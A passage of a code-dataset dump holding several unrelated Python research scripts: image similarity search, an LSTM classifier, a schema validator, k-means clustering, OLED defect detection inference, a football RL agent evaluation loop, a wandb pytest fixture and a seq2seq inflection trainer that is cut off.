one_img_search(img)\n\n\n #Increase not found items\n for prod_id, dist in match_prods.items():\n if prod_id not in match_prods_new:\n match_prods[prod_id] = str(match_prods[prod_id]) + '||' + str(dist_cutoff)\n\n #Copy new found and increase found\n for prod_id, dist in match_prods_new.items():\n if prod_id not in match_prods:\n for i in range(img_ind):\n match_prods[prod_id] = str(dist_cutoff) + '||'\n if img_ind > 0 :\n match_prods[prod_id] += str(dist)\n else:\n match_prods[prod_id] = str(dist)\n\n else:\n match_prods[prod_id] = str(match_prods[prod_id]) + '||' + str(dist)\n\n\n for prod_id, dists in match_prods.items():\n dists = str(dists).split('||')\n dist_sum = 0.0\n for dis in dists:\n dist_sum += float(dis)\n\n dist_sum = dist_sum / len(dists)\n\n match_prods[prod_id] = dist_sum\n\n\n\n return match_prods\n\ndef dic_to_list(dic):\n\n dic_list = []\n\n for prod_id, dist in dic.items():\n dic_list.append({'prod_id' : prod_id, 'dist' : dist})\n\n dic_list = sorted(dic_list, key = lambda k:k['dist'], reverse=False)\n return dic_list\n\n\ndef parse_img_db():\n with open(data_folder + 'img_db_prods', 'r') as cr_file:\n for line in cr_file:\n if not line.strip().startswith('#'):\n if line.strip():\n k, v = line.strip().split('$$')\n img_db_products[k.strip()] = v.strip()\n\n\ndef search_products_for(prod_id):\n imgs = []\n\n for img, id in img_db_products.items():\n if prod_id == id:\n imgs.append(img_folder + img)\n\n if len(imgs) == 0:\n print('No image found')\n return\n\n is_one_img_search = False\n\n\n if is_one_img_search:\n\n return dic_to_list(one_img_search(imgs[0]))\n\n else:\n\n return dic_to_list(mul_img_search(imgs))\n\n\n\nif __name__ == '__main__':\n\n parse_img_db()\n\n if len(sys.argv) == 2:\n prod_id = sys.argv[1]\n else:\n if len(img_db_products) > 0:\n prod_id = img_db_products[next(iter(img_db_products))]\n else:\n prod_id = '219720bed2MP002XW1GZVD'\n\n #print('prod_id', prod_id)\n\n es = Elasticsearch()\n ses = SignatureES(es, distance_cutoff=5.0)\n\n\n print(json.dumps(search_products_for(prod_id)))\n\n quit()\n\n","sub_path":"CrossParser/source/ImageMatch/test_match.py","file_name":"test_match.py","file_ext":"py","file_size_in_byte":3532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"490078213","text":"'''\nA Recurrent Neural Network (LSTM) implementation example using TensorFlow library.\nThis example is using the MNIST database of handwritten digits (http://yann.lecun.com/exdb/mnist/)\nLong Short Term Memory paper: http://deeplearning.cs.cmu.edu/pdfs/Hochreiter97_lstm.pdf\n\nAuthor: Aymeric Damien\nProject: https://github.com/aymericdamien/TensorFlow-Examples/\n'''\n\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom tensorflow.python.ops import rnn, rnn_cell\nimport ast\nimport csv\nimport numpy as np\n# Import MNIST data\nfrom tensorflow.examples.tutorials.mnist import input_data\nmnist = input_data.read_data_sets(\"/tmp/data/\", one_hot=True)\n\ndef normalize(train, test):\n mean, std = train.mean(), test.std()\n train = (train - mean) / std\n test = (test - mean) / std\n return train, test\n\ndef loadTrainingData():\n attribute_list_new = []\n label_list = []\n reader = (open(\"../finalDataSetNeuralNet2/train_X_10_11_12_13_14_15_16_dup_ra_ordered.txt\", \"rt\"))\n statsList = reader.readlines()\n # print(stats)\n\n for stat in statsList:\n str2 = ast.literal_eval(stat)\n # print(str2[0])\n attribute_list55 = []\n for i in range(0, len(str2[0])):\n str2[0][i] = str(str2[0][i])\n if (str2[0][i][-1] == \"%\"):\n str2[0][i] = str2[0][i][:-1]\n\n attribute_list55.append(str2[0][i])\n # print(str2[0])\n\n for i in range(0, len(str2[1])):\n str2[1][i] = str(str2[1][i])\n if (str2[1][i][-1] == \"%\"):\n str2[1][i] = str2[1][i][:-1]\n attribute_list55.append(str2[1][i])\n\n # print(attribute_list55)\n # print(str2[1])\n attribute_list_new.append(attribute_list55)\n\n training_attributes = np.array(attribute_list_new).astype(np.float32)\n\n reader=csv.reader(open(\"../finalDataSetNeuralNet2/train_Y_10_11_12_13_14_15_16_dup_ra_ordered.txt\",\"rt\"))\n for row in reader:\n # attributes in column 1\n label_list.append(row[0])\n\n # training_attributes=np.array(attribute_list).astype(np.float32)\n\n training_class_labels=np.array(label_list).astype(np.int32)\n\n return training_attributes, training_class_labels\n\ndef testingData():\n label_list = []\n attribute_list_new = []\n reader = (open(\"../finalDataSetNeuralNet2/test_X_10_11_12_13_14_15_16_dup_ra_ordered.txt\", \"rt\"))\n statsList = reader.readlines()\n # print(stats)\n for stat in statsList:\n str2 = ast.literal_eval(stat)\n # print(str2[0])\n attribute_list55 = []\n for i in range(0, len(str2[0])):\n str2[0][i] = str(str2[0][i])\n if (str2[0][i][-1] == \"%\"):\n str2[0][i] = str2[0][i][:-1]\n\n attribute_list55.append(str2[0][i])\n # print(str2[0])\n\n for i in range(0, len(str2[1])):\n str2[1][i] = str(str2[1][i])\n if (str2[1][i][-1] == \"%\"):\n str2[1][i] = str2[1][i][:-1]\n attribute_list55.append(str2[1][i])\n\n # print(attribute_list55)\n # print(str2[1])\n attribute_list_new.append(attribute_list55)\n\n testing_attributes = np.array(attribute_list_new).astype(np.float32)\n\n counter = 0\n\n reader=csv.reader(open(\"../finalDataSetNeuralNet2/test_Y_10_11_12_13_14_15_16_dup_ra_ordered.txt\",\"rt\"))\n for row in reader:\n counter = counter+1\n # print(counter)\n # attributes in column 1\n label_list.append(row[0])\n\n # testing_attributes=np.array(attribute_list).astype(np.float32)\n testing_labels=np.array(label_list).astype(np.int32)\n return testing_attributes, testing_labels\n\nx_train_vals, y_train_vals = loadTrainingData()\nx_test_vals, y_test_vals = testingData()\n\nprint(x_train_vals)\nprint(y_train_vals)\n\nx_train_vals, x_test_vals = normalize(x_train_vals, x_test_vals)\n\nimport numpy as np\n\ndef next_batch(num, dataX, dataY):\n \"\"\"\n Return a total of `num` samples from the array `data`.\n \"\"\"\n idx = np.arange(0, len(dataX)) # get all possible indexes\n np.random.shuffle(idx) # shuffle indexes\n idx = idx[0:num] # use only `num` random indexes\n data_shuffleX = [dataX[i] for i in idx] # get list of `num` random samples\n data_shuffleX = np.asarray(data_shuffleX) # get back numpy array\n data_shuffleY = [dataY[i] for i in idx] # get list of `num` random samples\n data_shuffleY = np.asarray(data_shuffleY) # get back numpy array\n\n return data_shuffleX, data_shuffleY\n\n# # demo data, 1d and 2d array\n# Xtr, Ytr = np.arange(0, 10), np.arange(0, 100).reshape(10, 10)\n# print(Xtr)\n# print(Ytr)\n\nprint(\"\\n5 randnom samples from 1d array:\")\nprint(next_batch(50, x_train_vals, y_train_vals))\n\nbatch_x, batch_y = mnist.train.next_batch(50)\n\nprint(batch_x)\nprint(batch_y)\n\n\n\n\n'''\nTo classify images using a recurrent neural network, we consider every image\nrow as a sequence of pixels. Because MNIST image shape is 28*28px, we will then\nhandle 28 sequences of 28 steps for every sample.\n'''\n\n# Parameters\nlearning_rate = 0.001\ntraining_iters = 100000\nbatch_size = 32\ndisplay_step = 10\n\n# Network Parameters\nn_input = 23 # MNIST data input (img shape: 28*28)\nn_steps = 2 # timesteps\nn_hidden = 128 # hidden layer num of features\nn_classes = 1 # MNIST total classes (0-9 digits)\n\nn_input_tennis = 46 # MNIST data input (img shape: 28*28)\nn_steps_tennis = 32 # timesteps\nn_hidden_tennis = 128 # hidden layer num of features\nn_classes_tennis = 2 # MNIST total classes (0-9 digits)\n\n# tf Graph input\nx = tf.placeholder(\"float\", [None, n_steps, n_input])\ny = tf.placeholder(\"float\", [None, n_classes])\n\n# Define weights\nweights = {\n 'out': tf.Variable(tf.random_normal([n_hidden, n_classes]))\n}\nbiases = {\n 'out': tf.Variable(tf.random_normal([n_classes]))\n}\n\n\ndef RNN(x, weights, biases):\n\n # Prepare data shape to match `rnn` function requirements\n # Current data input shape: (batch_size, n_steps, n_input)\n # Required shape: 'n_steps' tensors list of shape (batch_size, n_input)\n\n # Permuting batch_size and n_steps\n x = tf.transpose(x, [1, 0, 2])\n # Reshaping to (n_steps*batch_size, n_input)\n x = tf.reshape(x, [-1, n_input])\n # Split to get a list of 'n_steps' tensors of shape (batch_size, n_input)\n x = tf.split(0, n_steps, x)\n\n # Define a lstm cell with tensorflow\n lstm_cell = rnn_cell.BasicLSTMCell(n_hidden, forget_bias=1.0)\n\n # Get lstm cell output\n outputs, states = rnn.rnn(lstm_cell, x, dtype=tf.float32)\n\n # Linear activation, using rnn inner loop last output\n return tf.matmul(outputs[-1], weights['out']) + biases['out']\n\npred = RNN(x, weights, biases)\n\n# Define loss and optimizer\ncost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(pred, y))\noptimizer = tf.train.AdamOptimizer(learning_rate=learning_rate).minimize(cost)\n\n# Evaluate model\ncorrect_pred = tf.equal(tf.argmax(pred,1), tf.argmax(y,1))\naccuracy = tf.reduce_mean(tf.cast(correct_pred, tf.float32))\n\n# Initializing the variables\ninit = tf.initialize_all_variables()\n\n# Launch the graph\nwith tf.Session() as sess:\n sess.run(init)\n step = 1\n # Keep training until reach max iterations\n while step * batch_size < training_iters:\n batch_x, batch_y = next_batch(batch_size, x_train_vals, y_train_vals)\n # Reshape data to get 28 seq of 28 elements\n batch_x = batch_x.reshape((batch_size, n_steps, n_input))\n batch_y = batch_y.reshape(batch_size, n_classes)\n # Run optimization op (backprop)\n sess.run(optimizer, feed_dict={x: batch_x, y: batch_y})\n if step % display_step == 0:\n # Calculate batch accuracy\n acc = sess.run(accuracy, feed_dict={x: batch_x, y: batch_y})\n # Calculate batch loss\n loss = sess.run(cost, feed_dict={x: batch_x, y: batch_y})\n print(\"Iter \" + str(step*batch_size) + \", Minibatch Loss= \" + \\\n \"{:.6f}\".format(loss) + \", Training Accuracy= \" + \\\n \"{:.5f}\".format(acc))\n step += 1\n print(\"Optimization Finished!\")\n\n # Calculate accuracy for 128 mnist test images\n test_len = 32\n test_data = x_test_vals[:test_len].reshape((-1, n_steps, n_input))\n test_label = y_test_vals[:test_len].reshape(batch_size, n_classes)\n print(\"Testing Accuracy:\", \\\n sess.run(accuracy, feed_dict={x: test_data, y: test_label}))","sub_path":"src/machine_learning/lstmmdist.py","file_name":"lstmmdist.py","file_ext":"py","file_size_in_byte":8342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"543504383","text":"# -*- coding unix -*-\n\nfrom cerberus import Validator\nimport lmrt4u.helpers as helpers\n\nschema = {\n 'sprints': {\n 'type': 'dict',\n 'valueschema': {\n 'type': 'dict',\n 'schema': {\n 'active': { 'type': 'boolean' },\n 'points': { 'type': 'integer' },\n 'start': { 'type': 'datetime', 'coerce': helpers.to_date, 'is_before': 'end' },\n 'end': { 'type': 'datetime', 'coerce': helpers.to_date },\n 'stories': { 'type': 'list', 'schema': {'type': 'list'} }\n }\n }\n }\n}\n\nclass CustomValidator(Validator):\n \"\"\"Allows for isBefore datetime validation\"\"\"\n def _validate_is_before(self, other, field, value):\n \"\"\" \n Validate field is before other field.\n The rule's arguments are validated against this schema:\n {'type': 'string'}\n \"\"\"\n if other not in self.document:\n return False\n if value > self.document[other]:\n self._error(field, \n \"%s is an early date.\" % other)\n\ndef validate(rawData):\n \"\"\"Validates file contents\"\"\"\n v = CustomValidator()\n return v.validate(rawData, schema)\n","sub_path":"lmrt4u/Validator.py","file_name":"Validator.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"265464024","text":"import numpy as np \nfrom sklearn.cluster import KMeans \nfrom datetime import datetime, date, timedelta\nfrom sklearn.preprocessing import normalize\nimport random,os\nimport matplotlib\nimport matplotlib.pyplot as plt \n\n'''\n采用kmeans聚类，按照评价指标对项目聚类\n''' \n\n\ndef k_means(data, k):\n # 聚类\n # 首先得到每个项目每个月的特征向量，例如 P_i = (x1,x2,...,x8)代表项目P在从创建开始（在GitHub上的created_at）第i个月的各个特征的值\n X = data[:]\n X = normalize(X = X, axis=0)\n X = np.array(X)\n kmeans = KMeans(n_clusters=k, init='random', random_state=0, max_iter=500).fit(X)\n return list(kmeans.labels_), list(kmeans.cluster_centers_)\n \n# 画出每类类中心的各个评价指标对比的条形图\ndef Draw_graph(data, x_labels, centers, cluster_num, n = 0):\n # labels = ['forks','committer','commits','commit_comment',\n # 'req_opened','req_closed','req_merged','other','issue','issue_comment','watchers']\n labels = ['forks','committer','commits','commit_comment',\n 'req_opened','req_closed','req_merged','other','issue','issue_comment','watchers',\n 'forks_std','committer_std','commits_std','commit_comment_std',\n 'req_opened_std','req_closed_std','req_merged_std','other_std','issue_std','issue_comment_std','watchers_std'] \n x = np.arange(len(labels)) # the label locations\n width = 0.15 if cluster_num<5 else 0.15*5/cluster_num # the width of the bars\n\n fig, ax = plt.subplots()\n rects = []\n for i in range(cluster_num):\n pos = x-cluster_num/2*width + (2*i+1)*width/2\n rect = ax.bar(pos, centers[i], width, label = str(i))\n rects.append(rect)\n\n # Add some text for labels, title and custom x-axis tick labels, etc.\n ax.set_ylabel('feature_value')\n ax.set_title(str(cluster_num)+' cluters')\n ax.set_xticks(x)\n ax.set_xticklabels(labels)\n ax.legend()\n\n\n def autolabel(rects):\n \"\"\"Attach a text label above each bar in *rects*, displaying its height.\"\"\"\n for rect in rects:\n height = rect.get_height()\n ax.annotate('{}'.format(height),\n xy=(rect.get_x() + rect.get_width() / 2, height),\n xytext=(0, 3), # 3 points vertical offset\n textcoords=\"offset points\",\n ha='center', va='bottom')\n\n # for rect in rects:\n # autolabel(rect)\n\n fig.tight_layout()\n\n plt.show() \n\n## 从各类项目（project_label）中随机选择n个项目出来进行观察\ndef choose_project(data, project_label, projects_valid, cluster_num, n):\n projects = [ [] for i in range(cluster_num)]\n selects = [] # 记录的是选出来的项目在projects_valid中的下标\n for i in range(len(project_label)):\n cur_cluster = project_label[i]\n projects[cur_cluster].append(i)\n\n for i in range(cluster_num):\n print(\"cluster \" + str(i) + \" count is \" + str(len(projects[i])) ) #输出每类的项目个数\n if len(projects[i])>n:\n tmp = random.sample(projects[i], n)\n selects.append(tmp)\n else:\n selects.append(projects[i])\n print(\"Error: cluster \" + str(i) + \" is not enough\")\n for i in range(cluster_num):\n print(\"********************* The cluster \" + str(i) + \" ********************* \")\n for j in selects[i]:\n print([round(v, 4) for v in data[j]]) # 选出来的每类的标准化后的数据\n return selects\n\n\n# if __name__ == '__main__':\n# data = []\n# cluster_num = 5\n# root_path = os.getcwd() + '\\\\data\\\\'\n\n# projects_valid = Month_all(root_path, data, 5)\n\n# if len(data)>1:\n# kmeans_labels, kmeans_centers = k_means(data, cluster_num)\n# Draw_graph(data, kmeans_labels, kmeans_centers, cluster_num, 0)","sub_path":"src/model/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":3866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"421291956","text":"#!/usr/bin/env python\n# encoding:utf-8\n\"\"\"\nauthor: liusili\n@l@icense: (C) Copyright 2019, Union Big Data Co. Ltd. All rights reserved.\n@contact: liusili@unionbigdata.com\n@software:\n@file: flask_infer\n@time: 2019/12/2\n@desc:\n\"\"\"\nimport os\nimport cv2\nimport numpy as np\nimport time, datetime\nfrom mmdet.apis import init_detector, inference_detector\n\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = \"0\"\nbasedir = '/home/Visionox/V3/OLED_deploy/'\nmodel = None\nlabels = []\n# NMS_THD = 0.55\nNMS_THD = 0.3\n\ndef initModel():\n global model\n global labels\n config_file = basedir + 'config_OLED.py'\n checkpoint_file = basedir + 'v3_oled_deploy.pth'\n for line in open(basedir + 'classes.txt', \"r\"):\n lineTemp = line.strip()\n if lineTemp:\n labels.append(lineTemp)\n model = init_detector(config_file, checkpoint_file, device='cuda:0')\n\n\ndef NMS(bboxes, score, thresh):\n \"\"\"Pure Python NMS baseline.\"\"\"\n # bounding box and score\n boxes = np.array(bboxes)\n x1 = boxes[:, 0]\n y1 = boxes[:, 1]\n x2 = boxes[:, 2]\n y2 = boxes[:, 3]\n scores = np.array(score)\n # the area of candidate\n areas = (x2 - x1 + 1) * (y2 - y1 + 1)\n # score in descending order\n order = scores.argsort()[::-1]\n keep = []\n while order.size > 0:\n i = order[0]\n keep.append(i)\n # Calculate the intersection between current box and other boxes\n # using numpy->broadcast, obtain vector\n xx1 = np.maximum(x1[i], x1[order[1:]])\n yy1 = np.maximum(y1[i], y1[order[1:]])\n xx2 = np.minimum(x2[i], x2[order[1:]])\n yy2 = np.minimum(y2[i], y2[order[1:]])\n # intersection area, return zero if no intersection\n w = np.maximum(0.0, xx2 - xx1 + 1)\n h = np.maximum(0.0, yy2 - yy1 + 1)\n inter = w * h\n # IOU：intersection area /（area1+area2-intersection area）\n ovr = inter / (areas[i] + areas[order[1:]] - inter)\n # find out box the overlap ratio smaller than threshold\n inds = np.where(ovr <= thresh)[0]\n # update order\n order = order[inds + 1]\n return keep\n\n\ndef selectClsScoreBoxFromResult(result, cls_names):\n assert isinstance(cls_names, (tuple, list))\n\n if isinstance(result, tuple):\n bbox_result, segm_result = result\n else:\n bbox_result, segm_result = result, None\n bboxes = np.vstack(bbox_result)\n\n labels = [\n np.full(bbox.shape[0], i, dtype=np.int32)\n for i, bbox in enumerate(bbox_result)]\n labels = np.concatenate(labels)\n selectedCls = []\n selectedScore = []\n selectedBox = []\n assert (len(labels) == len(bboxes))\n for i in range(0, len(labels)):\n # selectedResult.append([cls_names[labels[i]], bboxes[i][-1]])\n selectedCls.append(cls_names[labels[i]])\n selectedScore.append(bboxes[i][-1])\n tempBox = []\n tempBox = bboxes[i][0], bboxes[i][1], bboxes[i][2], bboxes[i][3]\n selectedBox.append(tempBox)\n return selectedCls, selectedScore, selectedBox\n\n\ndef infer(sample_root, outpath):\n global model\n for code in os.listdir(sample_root):\n code_path = os.path.join(sample_root, code)\n for img_name in os.listdir(code_path):\n imagepath = os.path.join(code_path, img_name)\n img = open(imagepath, 'rb').read()\n if img == None:\n print('img is none')\n nparr = np.fromstring(img, np.uint8)\n img_np = cv2.imdecode(nparr, 1)\n # 边缘裁剪\n img_np = img_np[:, :1228, :]\n # opzealot\n height = img_np.shape[0]\n width = img_np.shape[1]\n\n sys_time = int(int(round(time.time() * 1000)))\n cur_dir = os.getcwd()\n localtime = time.localtime(time.time())\n result = {}\n result['defect'] = 0\n out = inference_detector(model, img_np)\n\n log_codes = []\n log_scores = []\n bboxs = []\n log_codes, log_scores, bboxs = selectClsScoreBoxFromResult(out, labels)\n if len(log_codes) != 0:\n result['defect'] = 1\n validResult = np.arange(0, len(bboxs))\n if len(bboxs) > 1:\n validResult = NMS(bboxs, log_scores, NMS_THD)\n\n for index in validResult:\n # ignore edges codes\n xmin = bboxs[index][0]\n ymin = bboxs[index][1]\n xmax = bboxs[index][2]\n ymax = bboxs[index][3]\n\n center_x = (xmin + xmax) // 2\n center_y = (ymin + ymax) // 2\n\n if center_x < 100 or center_y < 100 or center_x > width - 100 \\\n or center_y > height - 100:\n log_scores[index] = 0\n\n if log_scores[index] > 0:\n cv2.rectangle(img_np, (bboxs[index][0], bboxs[index][1]),\n (bboxs[index][2], bboxs[index][3]), (0, 255, 255), thickness=2)\n strText = str(code) + ': ' + str(log_scores[index])\n cv2.putText(img_np, strText, (bboxs[index][0], bboxs[index][1]),\n cv2.FONT_HERSHEY_COMPLEX, 2, (255, 0, 0), 2)\n\n target_img_dir = outpath\n os.makedirs(target_img_dir, exist_ok=True)\n target_img_file_path = os.path.join(target_img_dir, img_name)\n cv2.imwrite(target_img_file_path, img_np)\n print('save img {}'.format(img_name))\n\n result['log_codes'] = log_codes\n result['log_score'] = str(log_scores)\n\n out_label = None\n out_score = None\n out_bbox = None\n if len(log_scores) == 0:\n out_label = 'Others'\n out_score = str(0.0)\n out_bbox = None\n else:\n out_score = max(log_scores)\n out_label = log_codes[log_scores.index(out_score)]\n out_bbox = bboxs[log_scores.index(out_score)]\n if out_score < 0.4:\n out_label = 'Others'\n\n # opzealot set the background threshold\n if out_score < 0.2:\n out_label = 'OK'\n out_score = 0.99\n result['img_cls'] = out_label\n result['img_score'] = str(out_score)\n result['detect_begin_time'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n result['detect_cost_time'] = '{:.2f}'.format(int(int(round(time.time() * 1000))) - sys_time)\n result['savepath'] = imagepath.replace('input', 'result')\n\n else:\n target_img_dir = outpath\n os.makedirs(target_img_dir, exist_ok=True)\n target_img_file_path = os.path.join(target_img_dir, img_name)\n cv2.imwrite(target_img_file_path, img_np)\n print('save image to {}'.format(target_img_file_path))\n\n result['defect'] = 1\n result['img_cls'] = 'OK'\n result['img_score'] = str(0.99)\n result['detect_begin_time'] = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n result['detect_cost_time'] = '{:.2f}'.format(int(int(round(time.time() * 1000))) - sys_time)\n result['savepath'] = target_img_file_path\n\n\nif __name__ == '__main__':\n initModel()\n imagepath = '/home/Visionox/V3/OLED_deploy/OLED_test'\n outpath = '/home/Visionox/V3/OLED_deploy/output'\n infer(imagepath, outpath)","sub_path":"tools_2/inferring/flask_infer_modify.py","file_name":"flask_infer_modify.py","file_ext":"py","file_size_in_byte":7709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"35044343","text":"import sys\nsys.path.insert(0, '/app/football/')\nfrom gfootball.env import football_env\nfrom gfootball.env import config\n\nprint (football_env.__file__)\n\n#O -> my team (left)\n#1 -> opposing team (right)\nclass ObservationDebugger:\n def __init__(self):\n\n #only conerned with left player\n self.observations = {} #key,value -> step, observation\n self.step_ct = 0\n\n\n def process_observation(self, step):\n\n this_obs, this_action = self.observations[step]\n this_ball_owned_team = this_obs['ball_owned_team']\n this_ball_owned_player = this_obs['left_agent_controlled_player']\n print (this_ball_owned_team, this_ball_owned_player, step, this_obs['score'], this_action )\n for i in range(30):\n prev_obs, prev_action = self.observations[step-i-1]\n prev_ball_owned_team = prev_obs['ball_owned_team']\n prev_ball_owned_player = prev_obs['left_agent_controlled_player']\n print (prev_ball_owned_team, prev_ball_owned_player, step-i-1, prev_obs['score'], prev_action)\n exit()\n\n\n def add_observation(self, obs, action):\n self.observations[self.step_ct] = (obs, action)\n self.step_ct += 1\n\nclass Rectangle(object):\n def __init__(self, xrange, yrange, zrange):\n self.xrange = xrange # (xmin, xmax)\n self.yrange = yrange\n self.zrange = zrange\n\n def contains_point(self, p):\n if not all(hasattr(p, loc) for loc in 'xyz'):\n raise TypeError(\"Can only check if 3D points are in the rect\")\n return all([self.xrange[0] <= p.x <= self.xrange[1],\n self.yrange[0] <= p.y <= self.yrange[1],\n self.zrange[0] <= p.z <= self.zrange[1]])\n\nclass Point(object):\n def __init__(self, x, y ,z):\n self.x = x\n self.y = y\n self.z = z\n\n def __iter__(self):\n yield from (self.x, self.y, self.z)\n\n def __str__(self):\n return \"str {} {} {}\".format(self.x, self.y, self.z)\n\nckpt_path = 'corner_ckpt_all/00200'\nplayers = [\"ppo2_cnn:left_players=1,policy=impala_cnn,checkpoint={0}\".format(ckpt_path)]\ncfg = config.Config({\n 'action_set':'default',\n 'dump_full_episodes': False,\n 'real_time':False,\n 'players' : players,\n 'level':'academy_pass_and_shoot_with_keeper'\n})\n\nenv = football_env.FootballEnv(cfg)\n\nenv.reset()\n\nobsDebugger = ObservationDebugger()\n\nmy_score = 0\nopp_score = 0\nstep = 0\ntotal_diff = 0.0\ntotal_eps = 0\nOpponent_GOAL = Rectangle(xrange = (.7, 1.1), yrange = (-.12,.12), zrange = (0, 2.5))\n\nwhile True:\n obs, rew, done, info = env.step([])\n\n ball_pos = obs['ball']\n # ball_point = Point(ball_pos[0], ball_pos[1], ball_pos[2])\n # ball_on_targ = Opponent_GOAL.contains_point(ball_point)\n # if not rew == 0:\n # print (rew)\n # print (info)\n # exit()\n if rew == 1.0:\n my_score += 1\n if rew == -1.0:\n opp_score += 1\n\n if done:\n diff = my_score - opp_score\n\n total_diff += diff\n my_score = 0\n opp_score = 0\n env.reset()\n\n total_eps += 1\n if total_eps == 100:\n\n break\nprint (total_diff)\nprint (total_diff/total_eps)\nprint (ckpt_path)\n","sub_path":"755_project/play_agent.py","file_name":"play_agent.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"515059901","text":"import pytest\nimport pandas as pd\nimport wandb\n\n\nrun = wandb.init(project=\"conftest_demo\", job_type=\"data_tests\")\n\n\ndef pytest_addoption(parser):\n parser.addoption(\"--reference_artifact\", action=\"store\")\n parser.addoption(\"--sample_artifact\", action=\"store\")\n parser.addoption(\"--ks_alpha\", action=\"store\")\n\n\n@pytest.fixture(scope=\"session\")\ndef data(request):\n\n reference_artifact = request.config.option.reference_artifact\n\n if reference_artifact is None:\n pytest.fail(\"--reference_artifact missing on command line\")\n\n sample_artifact = request.config.option.sample_artifact\n\n if sample_artifact is None:\n pytest.fail(\"--sample_artifact missing on command line\")\n\n local_path = run.use_artifact(reference_artifact).file()\n sample1 = pd.read_csv(local_path)\n\n local_path = run.use_artifact(sample_artifact).file()\n sample2 = pd.read_csv(local_path)\n\n return sample1, sample2\n\n\n@pytest.fixture(scope='session')\ndef ks_alpha(request):\n ks_alpha = request.config.option.ks_alpha\n\n if ks_alpha is None:\n pytest.fail(\"--ks_threshold missing on command line\")\n\n return float(ks_alpha)\n","sub_path":"09_conftest_demo/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"162991014","text":"import torch\n\nimport os\nfrom os import path\nimport time\nimport random\nimport argparse\n\nfrom data import *\nfrom seq2seq_attn import *\n\n# preprocess\nstart_tok = ''\nend_tok = ''\nunk_tok = ''\n\n# learning params\ninit_range = 0.08\nepochs = 20\neval_step = 1000\nbatch_size = 64\ncriterion = nn.NLLLoss()\n\n# seq2seq params\nembedding_dim = 128\nenc_hidden_dim = 128\ndec_hidden_dim = 128\n\nenc_layers = 1\ndec_layers = 1\n\n# output\nmodel_path = \"model.dat\"\n\ndef evaluate(model, set):\n\trandom.shuffle(set)\n\tpreds = []\n\tfor i in range(len(set)):\n\t\t#i=0\n\t\tlemma = set[i][0].tolist()\n\t\tword = set[i][1].tolist()\n\t\tfeats = set[i][2].tolist()\n\t\tpred = model(set[i], type='evaluate')\n\t\tpreds.append([word[1:], pred])\n\treturn preds\n\ndef score(preds):\n\tcorrect = 0\n\tfor pair in preds:\n\t\t# print('pair[0]', pair[0], 'pair[1]', pair[1])\n\t\tif pair[0] == pair[1]:\n\t\t\tcorrect += 1\n\treturn correct / len(preds)\n\nif __name__ == '__main__':\n\tparser = argparse.ArgumentParser()\n\tparser.add_argument('-lang', dest='lang', help='choose the language to run the task on', default='german', type=str)\n\targs = parser.parse_args()\n\n\tlanguage = args.lang\n\n\tout_stats_path = 'results/' + language + '_seq2seq.tsv'\n\n\t# data paths\n\ttrain_path = 'data/conll2017/all/task1/' + language + '-train-high'\n\tdev_path = 'data/conll2017/all/task1/' + language + '-dev'\n\ttest_path = 'data/conll2017/answers/task1/' + language + '-uncovered-test'\n\n\tdata = Data(train_path, dev_path, test_path)\n\tchar_vocab_len = data.create_char_vocab()\n\tfeat_vocab_len = data.create_feat_vocab()\n\ttrain, dev, test = data.vectorize()\n\t# dimension of train is 10000 x 3 or 10000 x [lemma, word, feats]\n\n\n\tspecial_toks = {'sos': data.get_char_id(start_tok), 'eos': data.get_char_id(end_tok)}\n\tmodel = Seq2Seq(char_vocab_len, feat_vocab_len, embedding_dim, enc_hidden_dim, dec_hidden_dim, special_toks)\n\n\tif os.path.exists(model_path):\n\t\tsaved_state = torch.load(model_path)\n\t\tmodel.load_state_dict(saved_state)\n\telse:\n\t\tmodel.init_weights(init_range)\n\t\toptimizer = optim.Adam(model.parameters())\n\t\ttrain_loss = 0\n\t\tstep = 0\n\n\t\ttrain_holdout = train[:1000]\n\n\t\twith open(out_stats_path, 'w+') as f:\n\t\t\tf.write('epoch\\ttrain_loss\\ttrain_acc\\tdev_acc\\n')\n\n\t\tfor epoch in range(epochs):\n\t\t\trandom.shuffle(train)\n\t\t\tfor i in range(len(train)):\n\t\t\t\tlemma = train[i][0]\n\t\t\t\tword = train[i][1]\n\t\t\t\tfeats = train[i][2]\n\t\t\t\tpred = model(train[i], type='train')\n\n\t\t\t\t# print('word: {:30} pred: {:30}'.format(data.vec2word(word), data.vec2word([x.max(0)[1].item() for x in pred])))\n\n\t\t\t\ttotal_loss = None\n\t\t\t\t# print('pred', pred.size(), 'word', word.size())\n\t\t\t\tloss = criterion(pred, word[1:])\n\t\t\t\tif total_loss is None:\n\t\t\t\t\ttotal_loss = loss\n\t\t\t\telse:\n\t\t\t\t\ttotal_loss += loss\n\n\t\t\t\toptimizer.zero_grad()\n\t\t\t\ttotal_loss.backward()# print('w_embeds_i =', w_embeds_i.size())\n\t\t\t\t# print('h0 =', h0.size())\n\t\t\t\t# print('self.c0 =', self.c0.size())\n\t\t\t\toptimizer.step()\n\t\t\t\ttrain_loss += total_loss\n\n\t\t\t\tstep += 1\n\t\t\t\tif step % eval_step == 0:\n\t\t\t\t\ttrain_preds = evaluate(model, train_holdout)\n\t\t\t\t\ttrain_acc = score(train_preds)\n\t\t\t\t\tdev_preds = evaluate(model, dev)\n\t\t\t\t\tdev_acc = score(dev_preds)\n\t\t\t\t\tprint('train examples')\n\t\t\t\t\tfor j in range(5):\n\t\t\t\t\t\tprint('word: {:30} pred: {:30}'.format(data.vec2word(train_preds[j][0]), 